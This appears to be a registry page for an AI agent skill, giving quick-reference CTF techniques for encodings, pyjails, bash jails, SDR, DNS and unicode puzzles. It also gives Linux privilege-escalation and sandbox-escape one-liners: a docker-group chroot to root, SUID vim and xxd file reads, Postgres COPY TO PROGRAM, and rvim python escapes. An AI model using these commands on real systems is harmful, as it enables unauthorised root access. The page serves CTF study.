Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Provides miscellaneous CTF challenge techniques for problems that do not cleanly fit the main categories. Use for encoding puzzles, pyjails, bash jails, RF/SDR, DNS oddities, unicode tricks, esoteric languages, QR or audio puzzles, constraint solving, game theory, unusual sandbox escapes, and hybrid logic puzzles. Prefer a more specific skill first when the challenge is mainly web, pwn, reverse, forensics, malware, OSINT, or crypto. Treat this as the fallback skill for genuine cross-category or
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-01 | ✗→✓ | ▲ Improved | 264% | 0% |
| case-06 | ✗→✓ | ▲ Improved | 402% | 0% |
| case-11 | ✗→✓ | ▲ Improved | 233% | 0% |
| case-22 | ✗→✓ | ▲ Improved | 296% | 0% |
| case-04 | ✓→✗ | ▼ Worse | 384% | 0% |
Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details.
Python packages (all platforms):
bashpip install z3-solver pwntools Pillow numpy requests dnslib
Linux (apt):
bashapt install ffmpeg qrencode
macOS (Homebrew):
bashbrew install ffmpeg qrencode
Manual install:
apt install sagemath, macOS: brew install --cask sage/ctf-crypto./ctf-pwn or /ctf-reverse./ctf-forensics./ctf-ai-ml.bash# File identification file mystery_file xxd mystery_file | head -5 python3 -c "import magic; print(magic.from_file('mystery_file'))" # Encoding detection python3 -c "import base64; print(base64.b64decode('<data>'))" echo '<data>' | base64 -d echo '<hex>' | xxd -r -p # QR code zbarimg qr.png python3 -c "from pyzbar.pyzbar import decode; from PIL import Image; print(decode(Image.open('qr.png')))" # Z3 constraint solving python3 -c "from z3 import *; x=BitVec('x',32); s=Solver(); s.add(x^0xdead==0xbeef); s.check(); print(s.model())" # Python jail test python3 -c "__import__('os').system('id')"
bash# Base64 echo "encoded" | base64 -d # Base32 (A-Z2-7=) echo "OBUWG32D..." | base32 -d # Hex echo "68656c6c6f" | xxd -r -p # ROT13 echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'
Identify by charset:
A-Za-z0-9+/=A-Z2-7= (no lowercase)0-9a-fA-FSee encodings.md for Caesar brute force, URL encoding, and full details.
Pattern (Floating): Numbers are float32 values hiding raw bytes.
Key insight: A 32-bit float is just 4 bytes interpreted as a number. Reinterpret as raw bytes -> ASCII.
pythonimport struct floats = [1.234e5, -3.456e-7, ...] # Whatever the challenge gives flag = b'' for f in floats: flag += struct.pack('>f', f) print(flag.decode())
Variations: Double '>d', little-endian '<f', mixed. See encodings.md for CyberChef recipe.
Pattern (Hunt and Peck): USB HID mouse traffic captures on-screen keyboard typing. Use USB-Mouse-Pcap-Visualizer, extract click coordinates (falling edges), cumsum relative deltas for absolute positions, overlay on OSK image.
bashfile unknown_file xxd unknown_file | head binwalk unknown_file
bash7z x archive.7z # Universal tar -xzf archive.tar.gz # Gzip tar -xjf archive.tar.bz2 # Bzip2 tar -xJf archive.tar.xz # XZ
bashwhile f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n "$f" ]; do 7z x -y "$f" && rm "$f" done
bashzbarimg qrcode.png # Decode qrencode -o out.png "data"
MaxiCode barcode: Hexagonal 2D barcode with bullseye center; decode with zxing (Java) since standard QR decoders fail. See encodings-advanced.md.
TOPKEK encoding: CTF-specific binary encoding where KEK=0, TOP=1, ! suffix = repeat count. See encodings-advanced.md.
See encodings.md for QR structure, repair techniques, chunk reassembly (structural and indexed-directory variants), and multi-stage URL encoding chains.
bashsox audio.wav -n spectrogram # Visual data qsstv # SSTV decoder
See rf-sdr.md for full details (IQ formats, QAM-16 demod, carrier/timing recovery).
Quick reference:
np.fromfile(path, dtype=np.complex64) | cs16: int16 reshape(-1,2) | cu8: RTL-SDR rawpythonfrom pwn import * r = remote('host', port) r.recvuntil(b'prompt: ') r.sendline(b'answer') r.interactive()
L() = length, Q(i,x) = compare, S(guess) = submit. Linear or binary search.(abcdef := "new_chars") reassigns constraint vars@__import__ + @func.__class__.__dict__[__name__.__name__].__get__ for no-call, no-quotes escapeopen(''.join(['fl','ag.txt'])).read() when + is blockedSee pyjails.md for full techniques.
pythonfrom z3 import * flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)] s = Solver() # Add constraints, check sat, extract model
See games-and-vms.md for YARA rules, type systems as constraints, boolean logic gate network SAT solving.
MD5: 0x67452301 | SHA-256: 0x6a09e667 | MurmurHash64A: 0xC6A4A7935BD1E995
MAC = SHA-256(SECRET || msg) with known msg/hash -> forge valid MAC via hlextend. Vulnerable: SHA-256, MD5, SHA-1. NOT: HMAC, SHA-3.
pythonimport hlextend sha = hlextend.new('sha256') new_data = sha.extend(b'extension', b'original_message', len_secret, known_hash_hex)
pyinstxtractor.py packed.exe. See games-and-vms.md for opcode remapping.marshal.load(f) then dis.dis(code). See games-and-vms.md.PYTHONWARNINGS=ignore::antigravity.Foo::0 + BROWSER="cmd". See games-and-vms.md.wasm2wat -> flip minimax -> wat2wasm. See games-and-vms.md.flask-unsign -d -c '<cookie>' decodes unsigned Flask sessions, leaking game answers. See games-and-vms-2.md.player.x/player.y in console, call verification function. See games-and-vms-2.md.time.sleep(required_seconds), submit win. See games-and-vms-2.md.1 and +) for restricted eval. See pyjails.md.load()/os.execute() filters via os["execute"] table indexing or loadstring alias. See games-and-vms.md.(😃==😃) as constant 1, build integers, embed gadgets in add eax, imm32 constants, jump to offset+1 for shellcode primitives. See games-and-vms-3.md./load replaces ROM but preserves CPU state (registers, RAM, PC). Switch ROMs at specific PCs to combine INIT from one ROM with display instructions from another → read protected memory. See games-and-vms-3.md.buildctl build with --mount=type=secret to read build secrets. Two-stage Dockerfile: install buildctl → submit nested build mounting flag secret. See games-and-vms-3.md.eval(stored_key) — f-string rendering evaluates the key name expression, triggering RCE. See pyjails.md.Pattern (flag-irl): Video of 3D printer fabricating nameplate. Flag is the printed text.
Technique: Track nozzle X/Y positions from video frames, filter for print moves (top/text layer only), plot 2D histogram to reveal letter shapes:
python# 1. Identify text layer frames (e.g., frames 26100-28350) # 2. Track print head X position (physical X-axis) # 3. Track bed X position (physical Y-axis from camera angle) # 4. Filter for moves with extrusion (head moving while printing) # 5. Plot as 2D scatter/histogram -> letters appear
Flags hidden in Discord metadata (roles, animated emoji, embeds). Invoke /ctf-osint for Discord API enumeration technique and code (see social-media.md in ctf-osint).
bash# Find SUID binaries find / -perm -4000 2>/dev/null # Cross-reference with GTFObins # xxd with SUID: xxd flag.txt | xxd -r # vim with SUID: vim -c ':!cat /flag.txt'
Reference: https://gtfobins.github.io/
bash# GECOS field passwords cat /etc/passwd # Check 5th colon-separated field # ACL permissions getfacl /path/to/restricted/file # Sudo permissions sudo -l # Docker group membership (instant root) id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
User in the docker group can mount the host filesystem into a container and chroot into it for root access.
bash# Check group membership id # Look for "docker" in groups # Mount host root filesystem and chroot docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh # Now running as root on the host filesystem cat /root/flag.txt
Key insight: Docker group membership is equivalent to root access. The docker CLI socket (/var/run/docker.sock) allows creating privileged containers that mount the entire host filesystem.
Reference: https://gtfobins.github.io/gtfobins/docker/
Sudo's fnmatch() matches * across argument boundaries. Inject extra flags (-Z root, -r, second -w) into locked-down commands. Craft pcap with embedded valid sudoers entries — sudo's parser recovers from binary junk, unlike cron's strict parser. See linux-privesc.md.
Root monit script uses pgrep -lfa to extract process command lines, then executes a modified version. Create fake process via perl -e '$0 = "..."' with injected flags. Apache -d last-wins overrides ServerRoot; -E captures error output. Include /root/flag causes a parse error that reveals the file content. See linux-privesc.md.
COPY (SELECT '') TO PROGRAM 'cmd' executes OS commands as postgres. pg_read_file('/path') reads files. Extract credentials from pg_basebackup archives (global/1260 = pg_authid). SSH tunnel to Unix sockets: ssh -fNL 25432:/var/run/postgresql/.s.PGSQL.5432. See linux-privesc.md.
Root cronjob copying directories preserves SUID bit but changes ownership to root. Place SUID bash in source directory → backup copies it as root-owned SUID. Execute with bash -p. See linux-privesc.md.
Root process runs scripts from user-owned directory. Modify server-command, trigger via Mobility Print API refresh. See linux-privesc.md.
Detect CTFd (curl -s "$CTF_URL/api/v1/" | head -5) and interact via API. Ask the user for their API token (CTFd Settings > Access Tokens) — it is not provided by default. Then use Authorization: Token $CTF_TOKEN header for all requests.
bashexport CTF_URL="https://ctf.example.com" CTF_TOKEN="ctfd_your_token_here" curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges" | jq -r '.data[] | "\(.id)\t\(.value)pts\t\(.category)\t\(.name)"' curl -s -X POST -H "Authorization: Token $CTF_TOKEN" -H "Content-Type: application/json" "$CTF_URL/api/v1/challenges/attempt" -d "{\"challenge_id\": $CID, \"submission\": \"flag{...}\"}"
See ctfd-navigation.md for full workflow, Python client class, session login, hints, notifications, file download, and troubleshooting.
bashgrep -rn "flag{" . strings file | grep -i flag python3 -c "print(int('deadbeef', 16))"
Pattern (Frenzy): Characters shifted left/right on QWERTY keyboard layout.
Identification: dCode Cipher Identifier suggests "Keyboard Shift Cipher"
Decoding: Use dCode Keyboard Shift Cipher with automatic mode.
Pattern (Working For Peanuts): Geometric symbols representing letters based on grid positions.
Identification: Angular/geometric symbols, challenge references "Peanuts" comic (Charlie Brown), "dusty looking crypto"
Decoding: Map symbols to Pigpen grid positions, or use online decoder.
Pattern (Cooked Books): CSV/spreadsheet numeric values (48-126) are ASCII character codes.
pythonimport csv with open('data.csv') as f: reader = csv.DictReader(f) flag = ''.join(chr(int(row['Times Borrowed'])) for row in reader) print(flag)
CyberChef: "From Decimal" recipe with line feed delimiter.
Pattern (Rear Hatch): Hidden command prefix triggers system() call.
Common patterns:
strncmp(input, "exec:", 5) -> runs system(input + 5)\x65\x78\x65\x63\x3a = "exec:"See dns.md for full details (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling).
Quick reference:
dig @server flag.example.com TXT +subnet=10.13.37.1/24 - try leet-speak IPs (1337)dig @server domain IXFR=0 when AXFR is blockedPatterns (Seen & emoji, Nullcon 2026): Invisible Variation Selector Supplement characters encode ASCII via codepoint offset.
python# Extract hidden data from variation selectors after visible character data = open('README.md', 'r').read().strip() hidden = data[1:] # Skip visible emoji character flag = ''.join(chr((ord(c) - 0xE0100) + 16) for c in hidden)
Detection: Characters appear invisible but have non-zero length. Check with [hex(ord(c)) for c in text] -- look for codepoints in 0xE0100-0xE01EF or 0xFE00-0xFE0F range.
Pattern (Hidden in Plain Sight): Invisible Unicode Tag characters embedded in URLs, filenames, or text. Each tag codepoint maps directly to an ASCII character by subtracting 0xE0000. URL-encoded as 4-byte UTF-8 sequences (%F3%A0%81%...).
pythonimport urllib.parse url = "https://example.com/page#Title%20%F3%A0%81%B5%F3%A0%81%B4...Visible%20Text" decoded = urllib.parse.unquote(urllib.parse.urlparse(url).fragment) flag = ''.join( chr(ord(ch) - 0xE0000) for ch in decoded if 0xE0000 <= ord(ch) <= 0xE007F ) print(flag)
Key insight: Unicode Tags (U+E0001-U+E007F) mirror ASCII 1:1 — subtract 0xE0000 to recover the original character. They render as zero-width invisible glyphs in most fonts. Unlike Variation Selectors (U+E0100+), these have a simpler offset calculation and appear in URL fragments, challenge titles, or filenames where the text looks normal but has suspiciously long byte length.
Detection: Text or URL is longer than expected in bytes. Percent-encoded sequences starting with %F3%A0%80 or %F3%A0%81. Python: any(0xE0000 <= ord(c) <= 0xE007F for c in text).
Pattern (endians): Text "turned to Japanese" -- mojibake from UTF-16 endianness mismatch.
python# If encoded as UTF-16-LE but decoded as UTF-16-BE: fixed = mojibake.encode('utf-16-be').decode('utf-16-le')
Identification: CJK characters, challenge mentions "translation" or "endian". See encodings.md for details.
A-Za-z0-9+/=, title hints "64"A-Z2-7= uppercase onlyAuto-identify: dCode Cipher Identifier
Read files without cat/less/head: HISTFILE=/flag /bin/bash && history, or bash -v flag.txt (verbose mode prints lines), or ctypes.sh dlcall for direct C library calls. See bashjails.md.
Oracle returns edit distance between guess and secret. Determine length from empty string, identify present chars from single-char repeats, binary search for positions. O(n log n) queries. See games-and-vms-3.md.
close(0x8000000000000002) passes 64-bit SECCOMP check (≠ 2) but kernel truncates to 32-bit (== 2), closing fd 2. Next open() returns fd 2 for arbitrary file. Type-width mismatch between BPF filter and kernel. See games-and-vms-3.md.
rvim blocks :! but :python3 import os; os.system("cmd") executes arbitrary commands. Check :version for +python3/+lua/+ruby. See games-and-vms-3.md.
Other measured skills in the registry, with their headline benchmark lift.